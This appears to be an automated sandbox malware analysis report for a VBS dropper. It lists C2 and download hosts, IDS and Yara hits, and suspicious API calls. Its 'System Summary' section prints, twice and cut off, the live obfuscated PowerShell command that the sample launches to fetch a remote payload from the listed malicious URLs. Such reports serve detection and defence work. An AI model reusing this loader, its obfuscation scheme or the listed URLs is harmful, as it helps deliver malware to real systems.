Windows Analysis Report
payload_1.vbs

Malicious sample detected (through community Yara rule)

Source: global traffic

TCP traffic: 192.168.2.4:49738 -> 45.149.241.141:2023

Source: Joe Sandbox View	IP Address: 129.6.15.28 129.6.15.28
Source: Joe Sandbox View	IP Address: 162.159.200.123 162.159.200.123

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Source: Joe Sandbox View	JA3 fingerprint: caec7ddf6889590d999d7ca1b76373b6

Source: Network traffic	Suricata IDS: 2854824 - Severity 2 - ETPRO JA3 HASH Suspected Malware Related Response : 45.149.241.141:2023 -> 192.168.2.4:49748
Source: Network traffic	Suricata IDS: 2854824 - Severity 2 - ETPRO JA3 HASH Suspected Malware Related Response : 45.149.241.141:2023 -> 192.168.2.4:49778
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49737 -> 202.71.109.228:443

Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141
Source: unknown	TCP traffic detected without corresponding DNS query: 45.149.241.141

Source: global traffic	HTTP traffic detected: GET /ab/infantrymen.deploy HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: www.pts.groupConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ab/ab.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: www.tdejb.comCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.pts.group
Source: global traffic	DNS traffic detected: DNS query: www.tdejb.com
Source: global traffic	DNS traffic detected: DNS query: time.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: ntp.time.in.ua
Source: global traffic	DNS traffic detected: DNS query: time.google.com
Source: global traffic	DNS traffic detected: DNS query: ts1.aco.net
Source: global traffic	DNS traffic detected: DNS query: ntp1.hetzner.de
Source: global traffic	DNS traffic detected: DNS query: time-a-g.nist.gov

Source: powershell.exe, 00000003.00000002.1836359278.000002247DC22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: chrome.exe, 0000000D.00000002.2255888915.00006FF0022F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.chrome.com/extensions/external_extensions.html)
Source: powershell.exe, 00000003.00000002.1820309274.000002241006F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1936823765.0000000006147000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.1920307649.0000000005235000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.1793533146.0000022401C6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pts.group
Source: powershell.exe, 00000003.00000002.1793533146.0000022400001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1920307649.00000000050E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.1920307649.0000000005235000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000005.00000002.1951933890.0000000007BC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.dN
Source: powershell.exe, 00000003.00000002.1793533146.0000022401C6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.pts.group
Source: svchost.exe	String found in binary or memory: https://45.149.241.141:2023/6d41b386417b9c328d8/hkxh1h5h.v22gl
Source: powershell.exe, 00000003.00000002.1793533146.0000022400001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000005.00000002.1920307649.00000000050E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000005.00000002.1936823765.0000000006147000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.1936823765.0000000006147000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.1936823765.0000000006147000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000005.00000002.1920307649.0000000005235000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.1793533146.0000022400BAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000003.00000002.1820309274.000002241006F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1936823765.0000000006147000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000003.00000002.1793533146.000002240191B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1793533146.0000022400225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.pts.group
Source: powershell.exe, 00000003.00000002.1793533146.0000022400225000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1793533146.00000224015AD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1920307649.0000000005235000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.pts.group/ab/infantrymen.deploy
Source: powershell.exe, 00000003.00000002.1793533146.0000022400225000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1793533146.00000224015AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.puneet.ae/ab/infantrymen.deploy
Source: powershell.exe, 00000005.00000002.1920307649.0000000005235000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.puneet.ae/ab/infantrymen.deployt
Source: msiexec.exe, 0000000A.00000002.2022940955.0000000006A6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tdejb.com/
Source: msiexec.exe, 0000000A.00000002.2022940955.0000000006A2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tdejb.com/ab/ab.bin
Source: msiexec.exe, 0000000A.00000002.2022940955.0000000006A2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tdejb.com/ab/ab.binV
Source: msiexec.exe, 0000000A.00000002.2037678895.0000000021B30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.tdejb.com/ab/ab.binVerisTvewww.tequila.ae/ab/ab.bin

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443

Source: unknown	HTTPS traffic detected: 68.66.226.116:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.71.109.228:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.149.241.141:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.149.241.141:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.149.241.141:443 -> 192.168.2.4:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.149.241.141:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.149.241.141:443 -> 192.168.2.4:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.149.241.141:443 -> 192.168.2.4:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.149.241.141:443 -> 192.168.2.4:49905 version: TLS 1.2

Source: msiexec.exe, 0000000A.00000003.2012533041.00000000229F0000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_d9ffc832-c

Source: msiexec.exe, 0000000A.00000003.2012533041.00000000229F0000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_47c4f43d-0

Source: Yara match	File source: 11.3.svchost.exe.4d00000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.msiexec.exe.22c10000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.svchost.exe.4d00000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.msiexec.exe.229f0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.svchost.exe.4ae0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000003.2012882600.0000000022C10000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2012533041.00000000229F0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2016070238.0000000004D00000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2015900847.0000000004AE0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 5660, type: MEMORYSTR

Source: C:\Windows\System32\svchost.exe

Code function: 12_3_00007DF45B6F08CC CreateDesktopW,CreateProcessW,GetExitCodeProcess,TerminateProcess,

12_3_00007DF45B6F08CC

System Summary

Source: amsi32_984.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7020, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 984, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Skonnert='Privatest';;$Unpresumed='Revisionsarbejdes';;$Printede='Anamniotic';;$Erkendtligheden100='Petrolic38';;$Dybvandet=$host.Name;function Mareschal($Fibrillation){If ($Dybvandet) {$Jewbush=2} for ($Ambiguitet=$Jewbush;;$Ambiguitet+=3){if(!$Fibrillation[$Ambiguitet]) { break };$Klkning+=$Fibrillation[$Ambiguitet];$Cebian207='Motorcades'}$Klkning}function Dilemmatically($brynskov){ .($Underporch) ($brynskov)}$Lanciferous211=Mareschal 'SvNH e TBl..nW';$Lanciferous211+=Mareschal 'EreS BKic Lu ISyeUnnstT';$Ballelsseres=Mareschal 'plMLeoP zGli ilDel ta U/';$Jibbing=Mareschal ' WT FlSisPa1 a2';$Underleverancer='Me[HjnLee bT B.OvS e,frK v Hi dcpse RPCooBeIHunintR.M HAFlnImaPag,gEMiR ,] t:Te:PrsoueL CR,uF,R i EtOvySuPMiRfoo Nt To JC ,O l B=T $ ijHeI mb B BI kNS g';$Ballelsseres+=Mareschal 'Fo5In. C0I S(S W niAnnTadH.o.hwFosdi UaNA.TE .1R,0Re.Lu0Pa;.r DW iUnn A6,r4C,;Pe LxSi6 U4No;Ud BnrM vCr:A 1Hi3 1 P.Sk0O.)Se ,hGRee c .kpeog / I2Pa0Ju1.r0Sk0Sy1Vg0W,1Tt UgFCriBer Bem fEkospxTi/Ep1Th3Sa1 M. k0';$Ambiguitetntrapsychical=Mareschal 'UbuJos AeUnrNa-isaLiG HeJeN t';$Partisk=Mareschal 'OrhSptNot Rp.nsUn: ./tr/.pwVawHywsp.b pAftfrs.a.ungHerEmo u CpS,/.daMebG /K iV nPhfOvaPunF.tPhrTiyGlm Eeudn b.Ocd,peMep Ulo.o .y a>AlhSptS t op.fsac: r/K,/BawCiwskwSu.lupSku En Se testt ,.C aBeeUp/D ad,bKo/M iRanfaf Uason Bt .runy mSue ,n F.Hads.eAnpR lOkoSvy';$Hovedets=Mareschal 'T,>';$Underporch=Mareschal 'N i Se KX';$Kuldioxidets='Strateg';$Debatsidens='\Quaiches.Arg';Dilemmatically (Mareschal 'B $P GLeL.poNeB aA BLSk:Hoa eUdRSsa T deSm=U $,aeP nCaVR :Raa PFrPTadBeA uT uaCe+Sk$ .d HEFaB ADeTTos,ri,kdSiEInNBiS');Dilemmatically (Mareschal 'ge$.eG lAfO .bKnaAwlRy:S c ,hPaAAfp RLN.eFuSS SJo= ,$R pC AD RE tU.iAgSPeK . os ePFol OiPaTDe( o$Reh aoFoVInELsd E,fT hsTr)');Dilemmatically (Mareschal $Underleverancer);$Partisk=$Chapless[0];$bibbed=(Mareschal ' S$ eGFoLTmOUdbAdaUnL O: ,PMyi.icD tPru fRBoIFezInaCoT CIWaORenA,s H=LenKlE .w A-Ovo tbSpjShE.vC,uTNi RySSoyS s ptUde ,m o.n $AnL,aAanNFecDiIC,f eETir nOSmuSus e2 o1 g1');Dilemmatically ($bibbed);Dilemmatically (Mareschal ' T$O,P ,iRuc,itMuuL rAbiS z Ia.etG.iHoo n s .AlH.ee laHedSae ,rNosu [V $PoA PmOvb WiT.g uGriKotRueSht.knV,tKorP aDapT sSpy Ic.dhFii fcJuaInl G]M.=r $UnB LaTilFolKneUnlSusF sM.e PrPieGas');$Instrumenter=Mareschal ' H$SnP istcLet euC.rFuiR z BaInt Di Ao inLss C.,rDS oLywSvnU l .oAba ydTaFU.iAblD,e ( I$PlPMya BrAntRai Gs ,kJ ,Ro$ReFa,o,er ,nPrjFleMidGeeInsSy)';$Fornjedes=$Aerate;Dilemmatically (Mareschal 'fr$BrgLaLPeOFrBunA ,l ,: rvL.I rSpU TS ISS EGlN TS,u=Fr(Idt ,e TsbetBo-pepAnA .TDoh f W$GofPioAfRBln JB E dKoEBrSEn)');while (!$Virussens) {Dilemmatically (Mareschal 'Ov$ ngEtl Co obS,aBal B: uAFinMaa lgMir DaB mFem aaFrtAdi sPreFo= $ iANimSlbAliC g KuH i FtV ePrtBanMudBrsGekR yT.d eFll rssue 2,o3 F6') ;Dilemmatically $Instrumenter;Dilemmatically (Marescha
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Skonnert='Privatest';;$Unpresumed='Revisionsarbejdes';;$Printede='Anamniotic';;$Erkendtligheden100='Petrolic38';;$Dybvandet=$host.Name;function Mareschal($Fibrillation){If ($Dybvandet) {$Jewbush=2} for ($Ambiguitet=$Jewbush;;$Ambiguitet+=3){if(!$Fibrillation[$Ambiguitet]) { break };$Klkning+=$Fibrillation[$Ambiguitet];$Cebian207='Motorcades'}$Klkning}function Dilemmatically($brynskov){ .($Underporch) ($brynskov)}$Lanciferous211=Mareschal 'SvNH e TBl..nW';$Lanciferous211+=Mareschal 'EreS BKic Lu ISyeUnnstT';$Ballelsseres=Mareschal 'plMLeoP zGli ilDel ta U/';$Jibbing=Mareschal ' WT FlSisPa1 a2';$Underleverancer='Me[HjnLee bT B.OvS e,frK v Hi dcpse RPCooBeIHunintR.M HAFlnImaPag,gEMiR ,] t:Te:PrsoueL CR,uF,R i EtOvySuPMiRfoo Nt To JC ,O l B=T $ ijHeI mb B BI kNS g';$Ballelsseres+=Mareschal 'Fo5In. C0I S(S W niAnnTadH.o.hwFosdi UaNA.TE .1R,0Re.Lu0Pa;.r DW iUnn A6,r4C,;Pe LxSi6 U4No;Ud BnrM vCr:A 1Hi3 1 P.Sk0O.)Se ,hGRee c .kpeog / I2Pa0Ju1.r0Sk0Sy1Vg0W,1Tt UgFCriBer Bem fEkospxTi/Ep1Th3Sa1 M. k0';$Ambiguitetntrapsychical=Mareschal 'UbuJos AeUnrNa-isaLiG HeJeN t';$Partisk=Mareschal 'OrhSptNot Rp.nsUn: ./tr/.pwVawHywsp.b pAftfrs.a.ungHerEmo u CpS,/.daMebG /K iV nPhfOvaPunF.tPhrTiyGlm Eeudn b.Ocd,peMep Ulo.o .y a>AlhSptS t op.fsac: r/K,/BawCiwskwSu.lupSku En Se testt ,.C aBeeUp/D ad,bKo/M iRanfaf Uason Bt .runy mSue ,n F.Hads.eAnpR lOkoSvy';$Hovedets=Mareschal 'T,>';$Underporch=Mareschal 'N i Se KX';$Kuldioxidets='Strateg';$Debatsidens='\Quaiches.Arg';Dilemmatically (Mareschal 'B $P GLeL.poNeB aA BLSk:Hoa eUdRSsa T deSm=U $,aeP nCaVR :Raa PFrPTadBeA uT uaCe+Sk$ .d HEFaB ADeTTos,ri,kdSiEInNBiS');Dilemmatically (Mareschal 'ge$.eG lAfO .bKnaAwlRy:S c ,hPaAAfp RLN.eFuSS SJo= ,$R pC AD RE tU.iAgSPeK . os ePFol OiPaTDe( o$Reh aoFoVInELsd E,fT hsTr)');Dilemmatically (Mareschal $Underleverancer);$Partisk=$Chapless[0];$bibbed=(Mareschal ' S$ eGFoLTmOUdbAdaUnL O: ,PMyi.icD tPru fRBoIFezInaCoT CIWaORenA,s H=LenKlE .w A-Ovo tbSpjShE.vC,uTNi RySSoyS s ptUde ,m o.n $AnL,aAanNFecDiIC,f eETir nOSmuSus e2 o1 g1');Dilemmatically ($bibbed);Dilemmatically (Mareschal ' T$O,P ,iRuc,itMuuL rAbiS z Ia.etG.iHoo n s .AlH.ee laHedSae ,rNosu [V $PoA PmOvb WiT.g uGriKotRueSht.knV,tKorP aDapT sSpy Ic.dhFii fcJuaInl G]M.=r $UnB LaTilFolKneUnlSusF sM.e PrPieGas');$Instrumenter=Mareschal ' H$SnP istcLet euC.rFuiR z BaInt Di Ao inLss C.,rDS oLywSvnU l .oAba ydTaFU.iAblD,e ( I$PlPMya BrAntRai Gs ,kJ ,Ro$ReFa,o,er ,nPrjFleMidGeeInsSy)';$Fornjedes=$Aerate;Dilemmatically (Mareschal 'fr$BrgLaLPeOFrBunA ,l ,: rvL.I rSpU TS ISS EGlN TS,u=Fr(Idt ,e TsbetBo-pepAnA .TDoh f W$GofPioAfRBln JB E dKoEBrSEn)');while (!$Virussens) {Dilemmatically (Mareschal 'Ov$ ngEtl Co obS,aBal B: uAFinMaa lgMir DaB mFem aaFrtAdi sPreFo= $ iANimSlbAliC g KuH i FtV ePrtBanMudBrsGekR yT.d eFll rssue 2,o3 F6') ;Dilemmatically $Instrumenter;Dilemmatically (Marescha			Jump to behavior

Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B6FE910 calloc,DuplicateHandle,NtAcceptConnectPort,free,NtAcceptConnectPort,NtAcceptConnectPort,	12_3_00007DF45B6FE910
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B6FF32C NtAcceptConnectPort,free,	12_3_00007DF45B6FF32C
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B6FF180 malloc,RtlDosPathNameToNtPathName_U,NtAcceptConnectPort,NtAcceptConnectPort,free,	12_3_00007DF45B6FF180
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B6FE25C NtAcceptConnectPort,	12_3_00007DF45B6FE25C
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B6FE094 NtAcceptConnectPort,	12_3_00007DF45B6FE094
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B6FE170 NtAcceptConnectPort,	12_3_00007DF45B6FE170
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B6FE150 NtAcceptConnectPort,	12_3_00007DF45B6FE150
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B6FE3E8 NtAcceptConnectPort,	12_3_00007DF45B6FE3E8
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B6FE3C8 NtAcceptConnectPort,	12_3_00007DF45B6FE3C8
Source: C:\Windows\System32\svchost.exe	Code function: 12_2_0000013E03301CF4 NtAcceptConnectPort,CloseHandle,	12_2_0000013E03301CF4
Source: C:\Windows\System32\svchost.exe	Code function: 12_2_0000013E033015C0 NtAcceptConnectPort,	12_2_0000013E033015C0
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_3_00007DF488D81958 calloc,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtQueryInformationProcess,NtReadVirtualMemory,NtReadVirtualMemory,NtReadVirtualMemory,NtReadVirtualMemory,NtProtectVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,	16_3_00007DF488D81958
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_3_00007DF488D81CE8 calloc,CreateProcessW,NtResumeThread,CloseHandle,free,	16_3_00007DF488D81CE8
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFE2CAC NtAcceptConnectPort,	16_2_000002614EFE2CAC
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFE2DDC NtAcceptConnectPort,	16_2_000002614EFE2DDC
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFE2DAC NtAcceptConnectPort,	16_2_000002614EFE2DAC
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFE2D80 NtAcceptConnectPort,	16_2_000002614EFE2D80
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFE290C NtAcceptConnectPort,	16_2_000002614EFE290C
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFE2A20 NtAcceptConnectPort,	16_2_000002614EFE2A20
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFE3158 NtAcceptConnectPort,	16_2_000002614EFE3158
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFE2EC8 NtAcceptConnectPort,	16_2_000002614EFE2EC8
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFE2E84 NtAcceptConnectPort,	16_2_000002614EFE2E84
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_00007DF488D92E90 NtQuerySystemInformation,malloc,NtQuerySystemInformation,	16_2_00007DF488D92E90
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_00007DF488DC25D4 NtQuerySystemInformation,NtQuerySystemInformation,	16_2_00007DF488DC25D4
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C13970 NtQuerySystemInformation,	17_2_00000255E9C13970

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BAAAB4A	3_2_00007FFD9BAAAB4A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFD9BAAB8D2	3_2_00007FFD9BAAB8D2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_04F2E928	5_2_04F2E928
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_04F2F1F8	5_2_04F2F1F8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_04F2E5E0	5_2_04F2E5E0
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_0000013E033427B2	12_3_0000013E033427B2
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_0000013E03341BBC	12_3_0000013E03341BBC
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_0000013E03345E94	12_3_0000013E03345E94
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_0000013E03345594	12_3_0000013E03345594
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_0000013E03345914	12_3_0000013E03345914
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_0000013E0334250D	12_3_0000013E0334250D
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_0000013E03342C52	12_3_0000013E03342C52
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_0000013E03344A50	12_3_0000013E03344A50
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B6F08CC	12_3_00007DF45B6F08CC
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B6D286C	12_3_00007DF45B6D286C
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B70D42C	12_3_00007DF45B70D42C
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B6E7AE0	12_3_00007DF45B6E7AE0
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B7BEB0C	12_3_00007DF45B7BEB0C
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B718B28	12_3_00007DF45B718B28
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B73CB5C	12_3_00007DF45B73CB5C
